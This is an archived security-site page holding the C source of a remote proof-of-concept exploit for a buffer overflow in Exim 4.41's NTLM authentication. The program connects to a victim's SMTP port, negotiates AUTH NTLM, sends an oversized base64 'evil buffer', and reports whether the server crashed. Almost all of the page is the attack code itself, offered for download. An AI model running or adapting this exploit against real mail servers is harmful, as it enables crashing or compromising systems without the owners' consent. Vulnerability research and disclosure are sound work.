what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

p_exim.c

p_exim.c
Posted Feb 6, 2005
Authored by Adam Zabrocki | Site pi3.int.pl

Remote proof of concept exploit for the buffer overflow vulnerability discovered in Exim 4.41 by iDEFENSE.

tags | exploit, remote, overflow, proof of concept
SHA-256 | 753d89e248ed9f5367270763d2d68d1468737e48ae16a35a50dcfe7aa88d72f4

p_exim.c

Change Mirror Download
/*
* Remote PoC code for vulnerability discovered by iDEFENSE in Exim 4.41 by pi3 (pi3ki31ny).
*
* http://pi3.int.pl
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>

static const char base64digits[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";

#define BAD -1
#define SA struct sockaddr

static const char base64val[] = {
BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD,
BAD,
BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD,
BAD,
BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, BAD, 62, BAD, BAD, BAD,
63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, BAD, BAD, BAD, BAD, BAD, BAD,
BAD, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, BAD, BAD, BAD, BAD, BAD,
BAD, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, BAD, BAD, BAD, BAD, BAD
};
#define DECODE64(c) (isascii(c) ? base64val[c] : BAD)

void
spa_bits_to_base64 (unsigned char *out, const unsigned char *in, int inlen)
/* raw bytes in quasi-big-endian order to base 64 string (NUL-terminated) */
{
for (; inlen >= 3; inlen -= 3)
{
*out++ = base64digits[in[0] >> 2];
*out++ = base64digits[((in[0] << 4) & 0x30) | (in[1] >> 4)];
*out++ = base64digits[((in[1] << 2) & 0x3c) | (in[2] >> 6)];
*out++ = base64digits[in[2] & 0x3f];
in += 3;
}
if (inlen > 0)
{
unsigned char fragment;

*out++ = base64digits[in[0] >> 2];
fragment = (in[0] << 4) & 0x30;
if (inlen > 1)
fragment |= in[1] >> 4;
*out++ = base64digits[fragment];
*out++ = (inlen < 2) ? '=' : base64digits[(in[1] << 2) & 0x3c];
*out++ = '=';
}
*out = '\0';
}

void check(char *b,char *a) {

char *tmp=NULL;

if ( (tmp=strstr(b,a))==NULL) {
printf("Error! Not NTLM login found in respone!\n");
exit(-1);
}
}

void wyjdz(char *arg) {

printf("\n\n\t...::: -=[ Remote PoC exploit for Exim by pi3 (pi3ki31ny) ]=- :::...\n");
printf("\n\t\tUssage:\n\t\t\t%s <victim>\n\n\n",arg);
exit(-1);
}

int main(int argc, char *argv[]) {

int sockfd,i=0;
long inet;
char buf[5000],tmp_buf[9096];
struct sockaddr_in servaddr;
struct hostent *h;

(argv[1]==NULL) ? (wyjdz(argv[0])):1;

printf("\n\n\t...::: -=[ Remote PoC exploit for Exim by pi3 (pi3ki31ny) ]=- :::...\n");

if ( (h=gethostbyname((char*)argv[1])) == NULL) {
printf("Gethostbyname() field!\n");
exit(-1);
}
memcpy (&inet, h->h_addr, 4);

servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(25);
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);

if ( (sockfd=socket(AF_INET,SOCK_STREAM,0)) <0 ) {
printf("Socket() error!\n");
exit(-1);
}

if ( (connect(sockfd,(SA*)&servaddr,sizeof(servaddr)) ) <0 ) {
printf("Connect() error!\n");
exit(-1);
}
bzero(tmp_buf,sizeof(tmp_buf));
if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0) {
printf("I can\'t read from source host...\nExiting...\n\n");
exit(-1);
}
printf("\n\t[*] Connected to: %s\n",argv[1]);
write(sockfd,"EHLO p\n",7);
bzero(tmp_buf,sizeof(tmp_buf));
if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0) {
printf("I can\'t read from source host...\nExiting...\n\n");
exit(-1);
}
check(tmp_buf,"NTLM");
write(sockfd,"AUTH NTLM\n",10);
bzero(tmp_buf,sizeof(tmp_buf));
if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0) {
printf("I can\'t read from source host...\nExiting...\n\n");
exit(-1);
}
check(tmp_buf,"334");

printf("\t[*] OK! Athorization NTLM support...\n");
for(i=0;i<4040;i++)
spa_bits_to_base64(&buf[i],"A",1);
write(sockfd,buf,strlen(buf));
write(sockfd,"\n",1);
printf("\t[*] Evil buffer sended!\n\n\n");
bzero(tmp_buf,sizeof(tmp_buf));
if ( (i=read(sockfd,tmp_buf,sizeof(tmp_buf))) == 0)
printf("\t[*] Server is vulnerability!\n\n\n");
else
printf("\t[*] Server isn\'t vulnerability ;(\n\n\n");
return 0;
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close